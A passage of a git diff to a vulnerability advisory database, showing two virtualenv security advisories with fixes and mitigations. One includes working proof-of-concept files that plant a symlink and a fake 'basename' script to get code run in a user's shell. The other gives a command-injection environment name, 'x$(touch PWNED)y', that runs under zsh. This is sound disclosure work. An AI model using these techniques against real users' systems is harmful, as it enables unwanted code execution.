os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n print(\" its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(marker)\nprint(\"after a new terminal, marker exists:\", attacker_code_ran)\nif attacker_code_ran:\n print(\" it says:\", open(marker).read().rstrip())\nprint(\"BUG\" if written_outside and attacker_code_ran else \"OK\")\n```\n\n**`repro.d/fake_basename.sh`**\n\n```text\n#!/bin/sh\necho \"attacker code ran as $(id -un)\" > \"$HOME/attacker-ran\"\nexec /usr/bin/basename \"$@\"\n```\n\n**`repro.d/make_hostile_checkout.py`**\n\n```text\nimport os\nimport shutil\nimport sys\n\ncheckout = sys.argv[1]\nbin_dir = os.path.join(checkout, \"venv\", \"bin\")\nos.makedirs(bin_dir)\n\n# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist\nos.symlink(\"../../../.bash_aliases\", os.path.join(bin_dir, \"activate\"))\n\n# the bash activation script runs $(basename \"$VIRTUAL_ENV\") right after putting venv/bin first on PATH\nfake_basename = os.path.join(bin_dir, \"basename\")\nshutil.copy(os.path.join(os.path.dirname(__file__), \"fake_basename.sh\"), fake_basename)\nos.chmod(fake_basename, 0o755)\n```\n\n## Impact\n\nCreation can overwrite or create files outside the requested environment with the invoking user's permissions. File\ncontents are constrained by what virtualenv generates.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text\nfiles. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It\nthen removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the\nconfiguration and ignore file paths. This also removes unrelated links directly in the executable directory. Final\nseed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib\nwrites still require a destination protected from concurrent replacement.\n\nFix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431).\n\n## Known mitigation\n\nUse a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-558c-9hv2-4prj/GHSA-558c-9hv2-4prj.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113721"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3431"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-22T17:03:12Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-558c-9hv2-4prj","published":"2026-10-22T17:03:12Z","modified":"2026-11-18T12:10:56.790021158Z","aliases":["BIT-virtualenv-2026-113721","CVE-2026-113721","PYSEC-2026-4380"],"summary":"virtualenv: Generated files can follow existing destination links","details":"## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared project tree\n participant V as virtualenv writer\n participant H as User home\n participant B as Next interactive bash\n A->>V: venv/bin/activate links to missing ~/.bash_aliases\n V->>V: Path.exists() follows link and returns false\n V->>H: write activation bytes through link\n H-->>B: ~/.bash_aliases now exists\n B->>H: .bashrc sources ~/.bash_aliases\n B->>A: PATH reaches planted venv/bin/basename\n A-->>B: marker created\n Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker's repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate ->\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n print(\" its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(marker)\nprint(\"after a new terminal, marker exists:\", attacker_code_ran)\nif attacker_code_ran:\n print(\" it says:\", open(marker).read().rstrip())\nprint(\"BUG\" if written_outside and attacker_code_ran else \"OK\")\n```\n\n**`repro.d/fake_basename.sh`**\n\n```text\n#!/bin/sh\necho \"attacker code ran as $(id -un)\" > \"$HOME/attacker-ran\"\nexec /usr/bin/basename \"$@\"\n```\n\n**`repro.d/make_hostile_checkout.py`**\n\n```text\nimport os\nimport shutil\nimport sys\n\ncheckout = sys.argv[1]\nbin_dir = os.path.join(checkout, \"venv\", \"bin\")\nos.makedirs(bin_dir)\n\n# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist\nos.symlink(\"../../../.bash_aliases\", os.path.join(bin_dir, \"activate\"))\n\n# the bash activation script runs $(basename \"$VIRTUAL_ENV\") right after putting venv/bin first on PATH\nfake_basename = os.path.join(bin_dir, \"basename\")\nshutil.copy(os.path.join(os.path.dirname(__file__), \"fake_basename.sh\"), fake_basename)\nos.chmod(fake_basename, 0o755)\n```\n\n## Impact\n\nCreation can overwrite or create files outside the requested environment with the invoking user's permissions. File\ncontents are constrained by what virtualenv generates.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text\nfiles. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It\nthen removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the\nconfiguration and ignore file paths. This also removes unrelated links directly in the executable directory. Final\nseed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib\nwrites still require a destination protected from concurrent replacement.\n\nFix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431).\n\n## Known mitigation\n\nUse a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-558c-9hv2-4prj/GHSA-558c-9hv2-4prj.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113721"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3431"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-22T17:03:12Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-5vjq-rrrf-7h2q.json b/data/PyPI/GHSA-5vjq-rrrf-7h2q.json index bfd085b380..2415f5d65c 100644 --- a/data/PyPI/GHSA-5vjq-rrrf-7h2q.json +++ b/data/PyPI/GHSA-5vjq-rrrf-7h2q.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-5vjq-rrrf-7h2q","published":"2026-10-21T16:46:23Z","modified":"2026-10-29T10:55:33.825448161Z","aliases":["BIT-virtualenv-2026-113726","CVE-2026-113726"],"summary":"virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST","details":"### Impact\n\nzsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since\n21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so\nzsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and\narithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then\nruns as commands in the user's shell, once per prompt.\n\nThe name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an\nenvironment with:\n\n```console\n$ virtualenv 'x$(touch PWNED)y'\n```\n\n`source 'x$(touch PWNED)y/bin/activate'` in a zsh session with `PROMPT_SUBST` set creates `PWNED`, and the prompt shows\n`(xy)`. Passing that value as `--prompt` to an environment with a plain name has the same effect. Without\n`PROMPT_SUBST`, zsh shows the name as text and runs nothing. bash runs nothing either.\n\nA plain zsh starts with `PROMPT_SUBST` off. oh-my-zsh users have it on: oh-my-zsh loads\n[`lib/theme-and-appearance.zsh`](https://github.com/ohmyzsh/ohmyzsh/blob/4d4cfc287e9d887b81242c0e431b5f49f9cec5c1/lib/theme-and-appearance.zsh#L5)\nat startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper\ntool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.\n`--prompt .` takes the current directory's name.\n\nzsh also reads `%` in `PS1` as a prompt escape, so a name with `%n` showed the user name in place of those characters,\nthough without running commands.\n\nThe bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed\n21.9.1.\n\n### Patches\n\nFixed in 21.14.4. Under zsh, `activate` now escapes the name the way it does under bash and doubles\n`%`, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when\n`PROMPT_SUBST` is off, because a user can set the option after activation; a name with a backslash, dollar sign or\nbacktick then shows the added backslashes.\nFix: https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2\n\n### Workarounds\n\nSet `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run\n`unsetopt prompt_subst` if your prompt does not need it. Check the name of an environment you did not create before you\nsource its `activate`.\n\n### Credits\n\nKaya Emre Arikan (@kemrec) reported this issue.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.4"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"last_known_affected_version_range":"<= 21.14.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5vjq-rrrf-7h2q/GHSA-5vjq-rrrf-7h2q.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-5vjq-rrrf-7h2q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113726"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.4"}],"database_specific":{"cwe_ids":["CWE-116","CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T16:46:23Z","nvd_published_at":"2026-10-20T22:19:29Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-5vjq-rrrf-7h2q","published":"2026-10-21T16:46:23Z","modified":"2026-11-18T12:10:39.867666001Z","aliases":["BIT-virtualenv-2026-113726","CVE-2026-113726","PYSEC-2026-4385"],"summary":"virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST","details":"### Impact\n\nzsh users activate an environment with the bash `activate` script, which puts the environment name into `PS1`. Since\n21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when `BASH_VERSION` is set, so\nzsh gets the raw value. With the `PROMPT_SUBST` option set, zsh runs parameter expansion, command substitution and\narithmetic expansion on `PS1` each time it draws the prompt. A name that contains `$(...)`, backticks or `${...}` then\nruns as commands in the user's shell, once per prompt.\n\nThe name comes from the environment directory, or from `--prompt` or `VIRTUALENV_PROMPT`. After you create an\nenvironment with:\n\n```console\n$ virtualenv 'x$(touch PWNED)y'\n```\n\n`source 'x$(touch PWNED)y/bin/activate'` in a zsh session with `PROMPT_SUBST` set creates `PWNED`, and the prompt shows\n`(xy)`. Passing that value as `--prompt` to an environment with a plain name has the same effect. Without\n`PROMPT_SUBST`, zsh shows the name as text and runs nothing. bash runs nothing either.\n\nA plain zsh starts with `PROMPT_SUBST` off. oh-my-zsh users have it on: oh-my-zsh loads\n[`lib/theme-and-appearance.zsh`](https://github.com/ohmyzsh/ohmyzsh/blob/4d4cfc287e9d887b81242c0e431b5f49f9cec5c1/lib/theme-and-appearance.zsh#L5)\nat startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper\ntool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.\n`--prompt .` takes the current directory's name.\n\nzsh also reads `%` in `PS1` as a prompt escape, so a name with `%n` showed the user name in place of those characters,\nthough without running commands.\n\nThe bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed\n21.9.1.\n\n### Patches\n\nFixed in 21.14.4. Under zsh, `activate` now escapes the name the way it does under bash and doubles\n`%`, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when\n`PROMPT_SUBST` is off, because a user can set the option after activation; a name with a backslash, dollar sign or\nbacktick then shows the added backslashes.\nFix: https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2\n\n### Workarounds\n\nSet `VIRTUAL_ENV_DISABLE_PROMPT=1` before 